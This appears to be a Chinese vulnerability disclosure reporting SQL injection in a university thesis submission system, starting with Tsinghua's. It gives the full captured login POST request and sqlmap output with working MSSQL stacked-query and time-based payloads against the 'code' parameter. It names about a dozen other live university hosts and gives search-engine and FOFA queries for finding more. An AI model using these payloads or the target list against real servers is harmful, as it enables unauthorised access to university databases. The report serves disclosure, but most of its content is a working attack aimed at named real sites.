### 简要描述： 某学位论文SQL漏洞 ### 详细说明： 某学位论文SQL漏洞 ### 漏洞证明： 这次拿到清华大学的论文提交系统做 案例一： http://thesis.lib.tsinghua.edu.cn:8001/paper/search.jsp 出问题的在这里的账号，我在抓post发现这个抓去注入只能测试一次，也就是说你第一次post查出来是注入，再去post就会失败，需要从新抓取post数据。 ps:抓包千万别让他跳转到下一个页面，他这个参数抓一次就变一个 post数据： POST /papercon HTTP/1.1 Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */* Referer: http://thesis.lib.tsinghua.edu.cn:8001/paper/search.jsp Accept-Language: zh-CN User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Host: thesis.lib.tsinghua.edu.cn:8001 Content-Length: 133 Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: SESSfd0269bf02d778bea282bf1ea4b41113=55g1n7ol2nu94ibks886f9qb54; JSESSIONID=A1CD0701F60805B606DEA20AD24F2AE4...
### 简要描述： 某学位论文SQL漏洞 ### 详细说明： 某学位论文SQL漏洞 ### 漏洞证明： 这次拿到清华大学的论文提交系统做 案例一： http://thesis.lib.tsinghua.edu.cn:8001/paper/search.jsp 出问题的在这里的账号，我在抓post发现这个抓去注入只能测试一次，也就是说你第一次post查出来是注入，再去post就会失败，需要从新抓取post数据。 ps:抓包千万别让他跳转到下一个页面，他这个参数抓一次就变一个 post数据： POST /papercon HTTP/1.1 Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */* Referer: http://thesis.lib.tsinghua.edu.cn:8001/paper/search.jsp Accept-Language: zh-CN User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Host: thesis.lib.tsinghua.edu.cn:8001 Content-Length: 133 Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: SESSfd0269bf02d778bea282bf1ea4b41113=55g1n7ol2nu94ibks886f9qb54; JSESSIONID=A1CD0701F60805B606DEA20AD24F2AE4 action=login&r_code=%D1%A7%BA%C5%B2%BB%C4%DC%CE%AA%BF%D5&r_password=%C3%DC%C2%EB%B2%BB%C4%DC%CE%AA%BF%D5&code=222222&password=3333333 返回数据: sqlmap identified the following injection points with a total of 0 HTTP(s) reque sts: --- Parameter: code (POST) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: action=login&r_code=%D1%A7%BA%C5%B2%BB%C4%DC%CE%AA%BF%D5&r_password =%C3%DC%C2%EB%B2%BB%C4%DC%CE%AA%BF%D5&code=222222'; WAITFOR DELAY '0:0:5'--&pass word=3333333 Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: action=login&r_code=%D1%A7%BA%C5%B2%BB%C4%DC%CE%AA%BF%D5&r_password =%C3%DC%C2%EB%B2%BB%C4%DC%CE%AA%BF%D5&code=222222' WAITFOR DELAY '0:0:5'--&passw ord=3333333 --- 清华的数据库真萌萌哒 [<img src="https://images.seebug.org/upload/201503/032120537371e2a61aa135382d14ca942145bc2f.jpg" alt="360截图20150303212044752.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/032120537371e2a61aa135382d14ca942145bc2f.jpg) 我的网速慢就不继续列表了。上几个案例： 案例二： http://202.113.20.163:8001/paper/search.jsp [<img src="https://images.seebug.org/upload/201503/03212117a5e2018381b7dc20579ccf7a8979c643.jpg" alt="360截图20150303212115971.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/03212117a5e2018381b7dc20579ccf7a8979c643.jpg) 案例三 http://202.198.25.8:8001/paper/search.jsp [<img src="https://images.seebug.org/upload/201503/03212140f99cc2a944146e76204a144734cbcb43.jpg" alt="360截图20150303212138556.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/03212140f99cc2a944146e76204a144734cbcb43.jpg) 案例四 http://epaper.lib.bnu.edu.cn:8080/paper/search.jsp [<img src="https://images.seebug.org/upload/201503/03212159717526b904ad655de33892a1095ae9ae.jpg" alt="360截图20150303212159028.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/03212159717526b904ad655de33892a1095ae9ae.jpg) 案例五： http://166.111.120.124:8001/paper/search.jsp [<img src="https://images.seebug.org/upload/201503/03212219baedaa50f6b1617c1c37da473be89339.jpg" alt="360截图20150303212218945.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/03212219baedaa50f6b1617c1c37da473be89339.jpg) http://210.34.157.79:8021/paper/search.jsp http://202.114.89.32:8001/paper/search.jsp http://122.207.86.53/paper/search.jsp http://166.111.120.124:8001/paper/search.jsp http://dpaper.library.nenu.edu.cn:8001/paper/login.jsp http://epaper.lib.bnu.edu.cn:8080/paper/search.jsp http://202.113.20.163:8001/paper/search.jsp 更多案例： inurl:/paper/ "论文提交系统" http://fofa.so/search/result?q=title%3ATRS学位论文服务系统&qbase64=dGl0bGU6VFJT5a2m5L2N6K665paH5pyN5Yqh57O757uf
